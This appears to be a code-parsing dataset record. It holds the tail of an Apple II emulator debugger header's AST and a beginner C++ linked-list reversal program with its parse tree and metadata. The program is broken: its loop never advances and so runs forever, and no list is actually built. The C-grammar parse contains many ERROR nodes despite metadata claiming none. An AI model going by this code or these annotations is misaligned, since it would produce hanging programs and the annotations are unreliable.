"parameter_list", "text": "()", "parent": 174, "children": [], "start_point": {"row": 71, "column": 11}, "end_point": {"row": 71, "column": 13}}, {"id": 177, "type": "assignment_expression", "text": "m_reset_window = true", "parent": 172, "children": [178, 179, 180], "start_point": {"row": 71, "column": 16}, "end_point": {"row": 71, "column": 37}}, {"id": 178, "type": "identifier", "text": "m_reset_window", "parent": 177, "children": [], "start_point": {"row": 71, "column": 16}, "end_point": {"row": 71, "column": 30}}, {"id": 179, "type": "=", "text": "=", "parent": 177, "children": [], "start_point": {"row": 71, "column": 31}, "end_point": {"row": 71, "column": 32}}, {"id": 180, "type": "true", "text": "true", "parent": 177, "children": [], "start_point": {"row": 71, "column": 33}, "end_point": {"row": 71, "column": 37}}]}, "node_categories": {"declarations": {"functions": [30, 96, 106, 118, 126, 134, 147, 153, 157, 164, 172, 174], "variables": [32, 39, 51, 54, 57, 60, 65, 68, 74, 80, 94, 99, 104, 109, 114, 121, 124, 129, 132, 137, 142, 145, 150, 162, 167], "classes": [], "imports": [3, 4, 6, 7, 9, 10, 12, 13, 15, 16, 18, 19, 21, 22, 24, 25, 27, 28], "modules": [], "enums": []}, "statements": {"expressions": [86, 89, 91], "assignments": [177], "loops": [], "conditionals": [31, 35, 40, 41, 43, 47, 48, 50, 52, 53, 56, 59, 61, 64, 67, 73, 79, 83, 84, 87, 92, 97, 100, 102, 103, 107, 110, 112, 113, 119, 123, 127, 131, 135, 141, 144, 148, 152, 158, 161, 165, 168, 171, 175, 178], "returns": [160], "exceptions": []}, "expressions": {"calls": [0], "literals": [5, 8, 11, 14, 17, 20, 23, 26, 29, 37], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 30, "universal_type": "function", "name": "debugger_disasm", "text_snippet": "class debugger_disasm\n{\n\tstatic const uint32_t m_disassembly_line_length = 256;\n\nprivate:\n\n\t// defin"}, {"node_id": 96, "universal_type": "function", "name": "unknown", "text_snippet": "add_symtable(const std::string &filename)"}, {"node_id": 106, "universal_type": "function", "name": "unknown", "text_snippet": "remove_symtable(const std::string &filename)"}, {"node_id": 118, "universal_type": "function", "name": "unknown", "text_snippet": "find_symbol(uint16_t addr)"}, {"node_id": 126, "universal_type": "function", "name": "unknown", "text_snippet": "get_disassembly(uint16_t addr)"}, {"node_id": 134, "universal_type": "function", "name": "unknown", "text_snippet": "draw(const char* title, uint16_t addr)"}, {"node_id": 147, "universal_type": "function", "name": "unknown", "text_snippet": "set_break_addr(uint16_t addr)"}, {"node_id": 153, "universal_type": "function", "name": "unknown", "text_snippet": "char *get_disassembly_line() { return m_disassembly_line; }"}, {"node_id": 157, "universal_type": "function", "name": "unknown", "text_snippet": "get_disassembly_line()"}, {"node_id": 164, "universal_type": "function", "name": "unknown", "text_snippet": "attach_console(debugger_console *console)"}, {"node_id": 172, "universal_type": "function", "name": "reset", "text_snippet": "void reset() { m_reset_window = true; }"}, {"node_id": 174, "universal_type": "function", "name": "unknown", "text_snippet": "reset()"}], "class_declarations": [], "import_statements": [{"node_id": 3, "text": "#include <array>\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include <cstring>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <string>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <vector>\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include <map>\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include \"apple2emu.h\"\n"}, {"node_id": 19, "text": "#include"}, {"node_id": 21, "text": "#include \"apple2emu_defs.h\"\n"}, {"node_id": 22, "text": "#include"}, {"node_id": 24, "text": "#include \"debugger_console.h\"\n"}, {"node_id": 25, "text": "#include"}, {"node_id": 27, "text": "#include \"imgui.h\"\n"}, {"node_id": 28, "text": "#include"}]}, "original_source_code": "/*\n\n MIT License\n\n Copyright (c) 2016-2017 <NAME>\n\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n*/\n\n#pragma once\n\n#include <array>\n#include <cstring>\n#include <string>\n#include <vector>\n#include <map>\n\n#include \"apple2emu.h\"\n#include \"apple2emu_defs.h\"\n#include \"debugger_console.h\"\n#include \"imgui.h\"\n\nclass debugger_disasm\n{\n\tstatic const uint32_t m_disassembly_line_length = 256;\n\nprivate:\n\n\t// definitions for symbol tables\n\ttypedef std::map<uint16_t, std::string> symtable_map;\n\tsymtable_map m_symtable;\n\n\tuint16_t m_break_addr;\n\tuint16_t m_current_addr;\n\tdebugger_console *m_console;\n\tbool m_reset_window;\n\n\n\tstatic const char *m_addressing_format_string[];\n\tstatic const char *m_addressing_format_string_with_symbol[];\n\tchar m_disassembly_line[m_disassembly_line_length];\n\npublic:\n\tdebugger_disasm();\n\t~debugger_disasm();\n\tvoid add_symtable(const std::string &filename);\n\tvoid remove_symtable(const std::string &filename);\n\tconst char *find_symbol(uint16_t addr);\n\tuint8_t get_disassembly(uint16_t addr);\n\tvoid draw(const char* title, uint16_t addr);\n\tvoid set_break_addr(uint16_t addr);\n\tchar *get_disassembly_line() { return m_disassembly_line; }\n\tvoid attach_console(debugger_console *console);\n\tvoid reset() { m_reset_window = true; }\n};\n\n"}
81,195
c
#include<iostream> #include<vector> using namespace std; struct ListNode { int val; ListNode *next; }; vector<int> ListReverse(ListNode *head) { vector<int> input1; while(head!=NULL) { input1.push_back(head->val); } reverse(input1.begin(),input1.end()); return input1; } int main() { vector<int> input1={1,3,5,7,9}; vector<int> output1; vector<int>::iterator it; ListNode *head = new ListNode(); for(it=input1.begin();it!=input1.end();it++) { head->val=*it; } output1=ListReverse(head); for(auto val:output1) cout<<val<<" "; return 0; }
18.11
35
(translation_unit) "#include<iostream> \n#include<vector> \nusing namespace std; \nstruct ListNode \n{ \n int val; \n ListNode *next; \n}; \nvector<int> ListReverse(ListNode *head) \n{ \n vector<int> input1; \n \n while(head!=NULL) \n { \n input1.push_back(head->val); \n \n } \n reverse(input1.begin(),input1.end()); \n return input1; \n} \nint main() \n{ \n vector<int> input1={1,3,5,7,9}; \n vector<int> output1; \n vector<int>::iterator it; \n ListNode *head = new ListNode(); \n for(it=input1.begin();it!=input1.end();it++) \n { \n head->val=*it; \n } \n output1=ListReverse(head); \n for(auto val:output1) \n cout<<val<<" "; \n return 0; \n} \n" (preproc_include) "#include<iostream> \n" (#include) "#include" (system_lib_string) "<iostream>" (preproc_include) "#include<vector> \n" (#include) "#include" (system_lib_string) "<vector>" (declaration) "using namespace std;" (type_identifier) "using" (identifier) "namespace" (ERROR) "std" (identifier) "std" (;) ";" (struct_specifier) "struct ListNode \n{ \n int val; \n ListNode *next; \n}" (struct) "struct" (type_identifier) "ListNode" (field_declaration_list) "{ \n int val; \n ListNode *next; \n}" ({) "{" (field_declaration) "int val;" (primitive_type) "int" (field_identifier) "val" (;) ";" (field_declaration) "ListNode *next;" (type_identifier) "ListNode" (pointer_declarator) "*next" (*) "*" (field_identifier) "next" (;) ";" (}) "}" (;) ";" (ERROR) "vector<int> ListReverse(ListNode *head)" (binary_expression) "vector<int> ListReverse(ListNode *head)" (binary_expression) "vector<int" (identifier) "vector" (<) "<" (identifier) "int" (>) ">" (call_expression) "ListReverse(ListNode *head)" (identifier) "ListReverse" (argument_list) "(ListNode *head)" (() "(" (binary_expression) "ListNode *head" (identifier) "ListNode" (*) "*" (identifier) "head" ()) ")" (compound_statement) "{ \n vector<int> input1; \n \n while(head!=NULL) \n { \n input1.push_back(head->val); \n \n } \n reverse(input1.begin(),input1.end()); \n return input1; \n}" ({) "{" (expression_statement) "vector<int> input1;" (binary_expression) "vector<int> input1" (binary_expression) "vector<int" (identifier) "vector" (<) "<" (identifier) "int" (>) ">" (identifier) "input1" (;) ";" (while_statement) "while(head!=NULL) \n { \n input1.push_back(head->val); \n \n }" (while) "while" (parenthesized_expression) "(head!=NULL)" (() "(" (binary_expression) "head!=NULL" (identifier) "head" (!=) "!=" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{ \n input1.push_back(head->val); \n \n }" ({) "{" (expression_statement) "input1.push_back(head->val);" (call_expression) "input1.push_back(head->val)" (field_expression) "input1.push_back" (identifier) "input1" (.) "." (field_identifier) "push_back" (argument_list) "(head->val)" (() "(" (field_expression) "head->val" (identifier) "head" (->) "->" (field_identifier) "val" ()) ")" (;) ";" (}) "}" (expression_statement) "reverse(input1.begin(),input1.end());" (call_expression) "reverse(input1.begin(),input1.end())" (identifier) "reverse" (argument_list) "(input1.begin(),input1.end())" (() "(" (call_expression) "input1.begin()" (field_expression) "input1.begin" (identifier) "input1" (.) "." (field_identifier) "begin" (argument_list) "()" (() "(" ()) ")" (,) "," (call_expression) "input1.end()" (field_expression) "input1.end" (identifier) "input1" (.) "." (field_identifier) "end" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (return_statement) "return input1;" (return) "return" (identifier) "input1" (;) ";" (}) "}" (function_definition) "int main() \n{ \n vector<int> input1={1,3,5,7,9}; \n vector<int> output1; \n vector<int>::iterator it; \n ListNode *head = new ListNode(); \n for(it=input1.begin();it!=input1.end();it++) \n { \n head->val=*it; \n } \n output1=ListReverse(head); \n for(auto val:output1) \n cout<<val<<" "; \n return 0; \n}" (primitive_type) "int" (function_declarator) "main()" (identifier) "main" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{ \n vector<int> input1={1,3,5,7,9}; \n vector<int> output1; \n vector<int>::iterator it; \n ListNode *head = new ListNode(); \n for(it=input1.begin();it!=input1.end();it++) \n { \n head->val=*it; \n } \n output1=ListReverse(head); \n for(auto val:output1) \n cout<<val<<" "; \n return 0; \n}" ({) "{" (expression_statement) "vector<int> input1={1,3,5,7,9};" (comma_expression) "vector<int> input1={1,3,5,7,9" (binary_expression) "vector<int> input1={1" (binary_expression) "vector<int" (identifier) "vector" (<) "<" (identifier) "int" (>) ">" (assignment_expression) "input1={1" (identifier) "input1" (=) "=" (ERROR) "{" ({) "{" (number_literal) "1" (,) "," (comma_expression) "3,5,7,9" (number_literal) "3" (,) "," (comma_expression) "5,7,9" (number_literal) "5" (,) "," (comma_expression) "7,9" (number_literal) "7" (,) "," (number_literal) "9" (ERROR) "}" (}) "}" (;) ";" (expression_statement) "vector<int> output1;" (binary_expression) "vector<int> output1" (binary_expression) "vector<int" (identifier) "vector" (<) "<" (identifier) "int" (>) ">" (identifier) "output1" (;) ";" (expression_statement) "vector<int>::iterator it;" (binary_expression) "vector<int>::iterator it" (binary_expression) "vector<int" (identifier) "vector" (<) "<" (identifier) "int" (>) ">" (ERROR) "::iterator" (:) ":" (:) ":" (identifier) "iterator" (identifier) "it" (;) ";" (declaration) "ListNode *head = new ListNode();" (type_identifier) "ListNode" (init_declarator) "*head = new ListNode()" (pointer_declarator) "*head" (*) "*" (identifier) "head" (=) "=" (ERROR) "new" (identifier) "new" (call_expression) "ListNode()" (identifier) "ListNode" (argument_list) "()" (() "(" ()) ")" (;) ";" (for_statement) "for(it=input1.begin();it!=input1.end();it++) \n { \n head->val=*it; \n }" (for) "for" (() "(" (assignment_expression) "it=input1.begin()" (identifier) "it" (=) "=" (call_expression) "input1.begin()" (field_expression) "input1.begin" (identifier) "input1" (.) "." (field_identifier) "begin" (argument_list) "()" (() "(" ()) ")" (;) ";" (binary_expression) "it!=input1.end()" (identifier) "it" (!=) "!=" (call_expression) "input1.end()" (field_expression) "input1.end" (identifier) "input1" (.) "." (field_identifier) "end" (argument_list) "()" (() "(" ()) ")" (;) ";" (update_expression) "it++" (identifier) "it" (++) "++" ()) ")" (compound_statement) "{ \n head->val=*it; \n }" ({) "{" (expression_statement) "head->val=*it;" (assignment_expression) "head->val=*it" (field_expression) "head->val" (identifier) "head" (->) "->" (field_identifier) "val" (=) "=" (pointer_expression) "*it" (*) "*" (identifier) "it" (;) ";" (}) "}" (expression_statement) "output1=ListReverse(head);" (assignment_expression) "output1=ListReverse(head)" (identifier) "output1" (=) "=" (call_expression) "ListReverse(head)" (identifier) "ListReverse" (argument_list) "(head)" (() "(" (identifier) "head" ()) ")" (;) ";" (ERROR) "for(auto val:output1) \n cout<<val<<" "; \n return 0;" (for) "for" (() "(" (ERROR) "auto val:output1) \n cout<<val<<" (storage_class_specifier) "auto" (auto) "auto" (type_identifier) "val" (ERROR) ":output1) \n cout<<" (:) ":" (identifier) "output1" ()) ")" (identifier) "cout" (<<) "<<" (identifier) "val" (<<) "<<" (string_literal) "" "" (") """ (string_content) " " (") """ (;) ";" (identifier) "return" (ERROR) "0" (number_literal) "0" (;) ";" (}) "}"
268
10
{"language": "c", "success": true, "metadata": {"lines": 35, "avg_line_length": 18.11, "nodes": 167, "errors": 0, "source_hash": "703ca3c925029fb1ebc7619e749e4d286464928e22f630233692265b307b5e1d", "categorized_nodes": 118}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#include<iostream>\r\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "#include", "text": "#include", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 8}}, {"id": 2, "type": "system_lib_string", "text": "<iostream>", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 18}}, {"id": 3, "type": "preproc_include", "text": "#include<vector>\r\n", "parent": null, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<vector>", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 16}}, {"id": 6, "type": "declaration", "text": "using namespace std;", "parent": null, "children": [7, 8, 9], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 20}}, {"id": 7, "type": "type_identifier", "text": "using", "parent": 6, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 5}}, {"id": 8, "type": "identifier", "text": "namespace", "parent": 6, "children": [], "start_point": {"row": 2, "column": 6}, "end_point": {"row": 2, "column": 15}}, {"id": 9, "type": "ERROR", "text": "std", "parent": 6, "children": [10], "start_point": {"row": 2, "column": 16}, "end_point": {"row": 2, "column": 19}}, {"id": 10, "type": "identifier", "text": "std", "parent": 9, "children": [], "start_point": {"row": 2, "column": 16}, "end_point": {"row": 2, "column": 19}}, {"id": 11, "type": "struct_specifier", "text": "struct ListNode\r\n{\r\n int val;\r\n ListNode *next;\r\n}", "parent": null, "children": [12, 13], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 7, "column": 1}}, {"id": 12, "type": "struct", "text": "struct", "parent": 11, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 6}}, {"id": 13, "type": "type_identifier", "text": "ListNode", "parent": 11, "children": [], "start_point": {"row": 3, "column": 7}, "end_point": {"row": 3, "column": 15}}, {"id": 14, "type": "field_declaration", "text": "int val;", "parent": 11, "children": [15, 16], "start_point": {"row": 5, "column": 4}, "end_point": {"row": 5, "column": 12}}, {"id": 15, "type": "primitive_type", "text": "int", "parent": 14, "children": [], "start_point": {"row": 5, "column": 4}, "end_point": {"row": 5, "column": 7}}, {"id": 16, "type": "field_identifier", "text": "val", "parent": 14, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 11}}, {"id": 17, "type": "field_declaration", "text": "ListNode *next;", "parent": 11, "children": [18, 19], "start_point": {"row": 6, "column": 4}, "end_point": {"row": 6, "column": 19}}, {"id": 18, "type": "type_identifier", "text": "ListNode", "parent": 17, "children": [], "start_point": {"row": 6, "column": 4}, "end_point": {"row": 6, "column": 12}}, {"id": 19, "type": "pointer_declarator", "text": "*next", "parent": 17, "children": [20, 21], "start_point": {"row": 6, "column": 13}, "end_point": {"row": 6, "column": 18}}, {"id": 20, "type": "*", "text": "*", "parent": 19, "children": [], "start_point": {"row": 6, "column": 13}, "end_point": {"row": 6, "column": 14}}, {"id": 21, "type": "field_identifier", "text": "next", "parent": 19, "children": [], "start_point": {"row": 6, "column": 14}, "end_point": {"row": 6, "column": 18}}, {"id": 22, "type": "ERROR", "text": "vector<int> ListReverse(ListNode *head)", "parent": null, "children": [23], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 39}}, {"id": 23, "type": "binary_expression", "text": "vector<int> ListReverse(ListNode *head)", "parent": 22, "children": [24, 28, 29], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 39}}, {"id": 24, "type": "binary_expression", "text": "vector<int", "parent": 23, "children": [25, 26, 27], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 10}}, {"id": 25, "type": "identifier", "text": "vector", "parent": 24, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 6}}, {"id": 26, "type": "<", "text": "<", "parent": 24, "children": [], "start_point": {"row": 8, "column": 6}, "end_point": {"row": 8, "column": 7}}, {"id": 27, "type": "identifier", "text": "int", "parent": 24, "children": [], "start_point": {"row": 8, "column": 7}, "end_point": {"row": 8, "column": 10}}, {"id": 28, "type": ">", "text": ">", "parent": 23, "children": [], "start_point": {"row": 8, "column": 10}, "end_point": {"row": 8, "column": 11}}, {"id": 29, "type": "call_expression", "text": "ListReverse(ListNode *head)", "parent": 23, "children": [30, 31], "start_point": {"row": 8, "column": 12}, "end_point": {"row": 8, "column": 39}}, {"id": 30, "type": "identifier", "text": "ListReverse", "parent": 29, "children": [], "start_point": {"row": 8, "column": 12}, "end_point": {"row": 8, "column": 23}}, {"id": 31, "type": "argument_list", "text": "(ListNode *head)", "parent": 29, "children": [32], "start_point": {"row": 8, "column": 23}, "end_point": {"row": 8, "column": 39}}, {"id": 32, "type": "binary_expression", "text": "ListNode *head", "parent": 31, "children": [33, 34, 35], "start_point": {"row": 8, "column": 24}, "end_point": {"row": 8, "column": 38}}, {"id": 33, "type": "identifier", "text": "ListNode", "parent": 32, "children": [], "start_point": {"row": 8, "column": 24}, "end_point": {"row": 8, "column": 32}}, {"id": 34, "type": "*", "text": "*", "parent": 32, "children": [], "start_point": {"row": 8, "column": 33}, "end_point": {"row": 8, "column": 34}}, {"id": 35, "type": "identifier", "text": "head", "parent": 32, "children": [], "start_point": {"row": 8, "column": 34}, "end_point": {"row": 8, "column": 38}}, {"id": 36, "type": "binary_expression", "text": "vector<int> input1", "parent": null, "children": [37, 41, 42], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 22}}, {"id": 37, "type": "binary_expression", "text": "vector<int", "parent": 36, "children": [38, 39, 40], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 14}}, {"id": 38, "type": "identifier", "text": "vector", "parent": 37, "children": [], "start_point": {"row": 10, "column": 4}, "end_point": {"row": 10, "column": 10}}, {"id": 39, "type": "<", "text": "<", "parent": 37, "children": [], "start_point": {"row": 10, "column": 10}, "end_point": {"row": 10, "column": 11}}, {"id": 40, "type": "identifier", "text": "int", "parent": 37, "children": [], "start_point": {"row": 10, "column": 11}, "end_point": {"row": 10, "column": 14}}, {"id": 41, "type": ">", "text": ">", "parent": 36, "children": [], "start_point": {"row": 10, "column": 14}, "end_point": {"row": 10, "column": 15}}, {"id": 42, "type": "identifier", "text": "input1", "parent": 36, "children": [], "start_point": {"row": 10, "column": 16}, "end_point": {"row": 10, "column": 22}}, {"id": 43, "type": "while_statement", "text": "while(head!=NULL)\r\n {\r\n input1.push_back(head->val);\r\n\r\n }", "parent": null, "children": [44], "start_point": {"row": 12, "column": 4}, "end_point": {"row": 16, "column": 5}}, {"id": 44, "type": "parenthesized_expression", "text": "(head!=NULL)", "parent": 43, "children": [45], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 21}}, {"id": 45, "type": "binary_expression", "text": "head!=NULL", "parent": 44, "children": [46, 47, 48], "start_point": {"row": 12, "column": 10}, "end_point": {"row": 12, "column": 20}}, {"id": 46, "type": "identifier", "text": "head", "parent": 45, "children": [], "start_point": {"row": 12, "column": 10}, "end_point": {"row": 12, "column": 14}}, {"id": 47, "type": "!=", "text": "!=", "parent": 45, "children": [], "start_point": {"row": 12, "column": 14}, "end_point": {"row": 12, "column": 16}}, {"id": 48, "type": "null", "text": "NULL", "parent": 45, "children": [49], "start_point": {"row": 12, "column": 16}, "end_point": {"row": 12, "column": 20}}, {"id": 49, "type": "NULL", "text": "NULL", "parent": 48, "children": [], "start_point": {"row": 12, "column": 16}, "end_point": {"row": 12, "column": 20}}, {"id": 50, "type": "call_expression", "text": "input1.push_back(head->val)", "parent": 43, "children": [51, 54], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 35}}, {"id": 51, "type": "field_expression", "text": "input1.push_back", "parent": 50, "children": [52, 53], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 24}}, {"id": 52, "type": "identifier", "text": "input1", "parent": 51, "children": [], "start_point": {"row": 14, "column": 8}, "end_point": {"row": 14, "column": 14}}, {"id": 53, "type": "field_identifier", "text": "push_back", "parent": 51, "children": [], "start_point": {"row": 14, "column": 15}, "end_point": {"row": 14, "column": 24}}, {"id": 54, "type": "argument_list", "text": "(head->val)", "parent": 50, "children": [55], "start_point": {"row": 14, "column": 24}, "end_point": {"row": 14, "column": 35}}, {"id": 55, "type": "field_expression", "text": "head->val", "parent": 54, "children": [56, 57], "start_point": {"row": 14, "column": 25}, "end_point": {"row": 14, "column": 34}}, {"id": 56, "type": "identifier", "text": "head", "parent": 55, "children": [], "start_point": {"row": 14, "column": 25}, "end_point": {"row": 14, "column": 29}}, {"id": 57, "type": "field_identifier", "text": "val", "parent": 55, "children": [], "start_point": {"row": 14, "column": 31}, "end_point": {"row": 14, "column": 34}}, {"id": 58, "type": "call_expression", "text": "reverse(input1.begin(),input1.end())", "parent": null, "children": [59, 60], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 40}}, {"id": 59, "type": "identifier", "text": "reverse", "parent": 58, "children": [], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 11}}, {"id": 60, "type": "argument_list", "text": "(input1.begin(),input1.end())", "parent": 58, "children": [61, 65], "start_point": {"row": 17, "column": 11}, "end_point": {"row": 17, "column": 40}}, {"id": 61, "type": "call_expression", "text": "input1.begin()", "parent": 60, "children": [62, 64], "start_point": {"row": 17, "column": 12}, "end_point": {"row": 17, "column": 26}}, {"id": 62, "type": "field_expression", "text": "input1.begin", "parent": 61, "children": [63], "start_point": {"row": 17, "column": 12}, "end_point": {"row": 17, "column": 24}}, {"id": 63, "type": "identifier", "text": "input1", "parent": 62, "children": [], "start_point": {"row": 17, "column": 12}, "end_point": {"row": 17, "column": 18}}, {"id": 64, "type": "argument_list", "text": "()", "parent": 61, "children": [], "start_point": {"row": 17, "column": 24}, "end_point": {"row": 17, "column": 26}}, {"id": 65, "type": "call_expression", "text": "input1.end()", "parent": 60, "children": [66, 68], "start_point": {"row": 17, "column": 27}, "end_point": {"row": 17, "column": 39}}, {"id": 66, "type": "field_expression", "text": "input1.end", "parent": 65, "children": [67], "start_point": {"row": 17, "column": 27}, "end_point": {"row": 17, "column": 37}}, {"id": 67, "type": "identifier", "text": "input1", "parent": 66, "children": [], "start_point": {"row": 17, "column": 27}, "end_point": {"row": 17, "column": 33}}, {"id": 68, "type": "argument_list", "text": "()", "parent": 65, "children": [], "start_point": {"row": 17, "column": 37}, "end_point": {"row": 17, "column": 39}}, {"id": 69, "type": "return_statement", "text": "return input1;", "parent": null, "children": [70], "start_point": {"row": 18, "column": 4}, "end_point": {"row": 18, "column": 18}}, {"id": 70, "type": "identifier", "text": "input1", "parent": 69, "children": [], "start_point": {"row": 18, "column": 11}, "end_point": {"row": 18, "column": 17}}, {"id": 71, "type": "function_definition", "text": "int main()\r\n{\r\n vector<int> input1={1,3,5,7,9};\r\n vector<int> output1;\r\n vector<int>::iterator it;\r\n ListNode *head = new ListNode();\r\n for(it=input1.begin();it!=input1.end();it++)\r\n {\r\n head->val=*it;\r\n }\r\n output1=ListReverse(head);\r\n for(auto val:output1)\r\n cout<<val<<\" \";\r\n return 0;\r\n}", "parent": null, "children": [72, 73], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 34, "column": 1}}, {"id": 72, "type": "primitive_type", "text": "int", "parent": 71, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 3}}, {"id": 73, "type": "function_declarator", "text": "main()", "parent": 71, "children": [74, 75], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 10}}, {"id": 74, "type": "identifier", "text": "main", "parent": 73, "children": [], "start_point": {"row": 20, "column": 4}, "end_point": {"row": 20, "column": 8}}, {"id": 75, "type": "parameter_list", "text": "()", "parent": 73, "children": [], "start_point": {"row": 20, "column": 8}, "end_point": {"row": 20, "column": 10}}, {"id": 76, "type": "comma_expression", "text": "vector<int> input1={1,3,5,7,9", "parent": 71, "children": [77, 87], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 33}}, {"id": 77, "type": "binary_expression", "text": "vector<int> input1={1", "parent": 76, "children": [78, 82, 83], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 25}}, {"id": 78, "type": "binary_expression", "text": "vector<int", "parent": 77, "children": [79, 80, 81], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 14}}, {"id": 79, "type": "identifier", "text": "vector", "parent": 78, "children": [], "start_point": {"row": 22, "column": 4}, "end_point": {"row": 22, "column": 10}}, {"id": 80, "type": "<", "text": "<", "parent": 78, "children": [], "start_point": {"row": 22, "column": 10}, "end_point": {"row": 22, "column": 11}}, {"id": 81, "type": "identifier", "text": "int", "parent": 78, "children": [], "start_point": {"row": 22, "column": 11}, "end_point": {"row": 22, "column": 14}}, {"id": 82, "type": ">", "text": ">", "parent": 77, "children": [], "start_point": {"row": 22, "column": 14}, "end_point": {"row": 22, "column": 15}}, {"id": 83, "type": "assignment_expression", "text": "input1={1", "parent": 77, "children": [84, 85, 86], "start_point": {"row": 22, "column": 16}, "end_point": {"row": 22, "column": 25}}, {"id": 84, "type": "identifier", "text": "input1", "parent": 83, "children": [], "start_point": {"row": 22, "column": 16}, "end_point": {"row": 22, "column": 22}}, {"id": 85, "type": "=", "text": "=", "parent": 83, "children": [], "start_point": {"row": 22, "column": 22}, "end_point": {"row": 22, "column": 23}}, {"id": 86, "type": "number_literal", "text": "1", "parent": 83, "children": [], "start_point": {"row": 22, "column": 24}, "end_point": {"row": 22, "column": 25}}, {"id": 87, "type": "comma_expression", "text": "3,5,7,9", "parent": 76, "children": [88, 89], "start_point": {"row": 22, "column": 26}, "end_point": {"row": 22, "column": 33}}, {"id": 88, "type": "number_literal", "text": "3", "parent": 87, "children": [], "start_point": {"row": 22, "column": 26}, "end_point": {"row": 22, "column": 27}}, {"id": 89, "type": "comma_expression", "text": "5,7,9", "parent": 87, "children": [90, 91], "start_point": {"row": 22, "column": 28}, "end_point": {"row": 22, "column": 33}}, {"id": 90, "type": "number_literal", "text": "5", "parent": 89, "children": [], "start_point": {"row": 22, "column": 28}, "end_point": {"row": 22, "column": 29}}, {"id": 91, "type": "comma_expression", "text": "7,9", "parent": 89, "children": [92, 93], "start_point": {"row": 22, "column": 30}, "end_point": {"row": 22, "column": 33}}, {"id": 92, "type": "number_literal", "text": "7", "parent": 91, "children": [], "start_point": {"row": 22, "column": 30}, "end_point": {"row": 22, "column": 31}}, {"id": 93, "type": "number_literal", "text": "9", "parent": 91, "children": [], "start_point": {"row": 22, "column": 32}, "end_point": {"row": 22, "column": 33}}, {"id": 94, "type": "binary_expression", "text": "vector<int> output1", "parent": 71, "children": [95, 99, 100], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 23}}, {"id": 95, "type": "binary_expression", "text": "vector<int", "parent": 94, "children": [96, 97, 98], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 14}}, {"id": 96, "type": "identifier", "text": "vector", "parent": 95, "children": [], "start_point": {"row": 23, "column": 4}, "end_point": {"row": 23, "column": 10}}, {"id": 97, "type": "<", "text": "<", "parent": 95, "children": [], "start_point": {"row": 23, "column": 10}, "end_point": {"row": 23, "column": 11}}, {"id": 98, "type": "identifier", "text": "int", "parent": 95, "children": [], "start_point": {"row": 23, "column": 11}, "end_point": {"row": 23, "column": 14}}, {"id": 99, "type": ">", "text": ">", "parent": 94, "children": [], "start_point": {"row": 23, "column": 14}, "end_point": {"row": 23, "column": 15}}, {"id": 100, "type": "identifier", "text": "output1", "parent": 94, "children": [], "start_point": {"row": 23, "column": 16}, "end_point": {"row": 23, "column": 23}}, {"id": 101, "type": "binary_expression", 